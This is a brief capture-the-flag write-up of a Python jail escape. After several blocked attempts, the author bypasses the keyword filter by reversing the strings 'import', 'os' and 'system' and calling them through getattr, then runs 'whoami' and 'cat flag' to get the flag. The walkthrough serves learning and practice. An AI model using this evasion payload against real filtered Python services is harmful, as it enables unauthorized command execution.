Baby’s First Pyjail

in this challenge we don’t have the source code so let’s guess.

first i tried basic instructions

import os # return "try harder"
import sys # return "try harder"
..

it seems we can not use import lets try something else

__import__('os').system('whoami'); # return "try harder

exec('Your Input Here', {'__builtins__': None, 'print':print}); # return "try harder

lets try:

dir(__builtins__) # return "try harder

nothing worked after few tries i tried:

getattr(getattr(__builtins__,'__tropmi__'[::-1])('so'[::-1]),'metsys'[::-1])('whoami');

and it returns ctfuser

Now we need to cat the flag

getattr(getattr(__builtins__,'__tropmi__'[::-1])('so'[::-1]),'metsys'[::-1])('cat flag');

and we got the flag uoftctf{you_got_out_of_jail_free}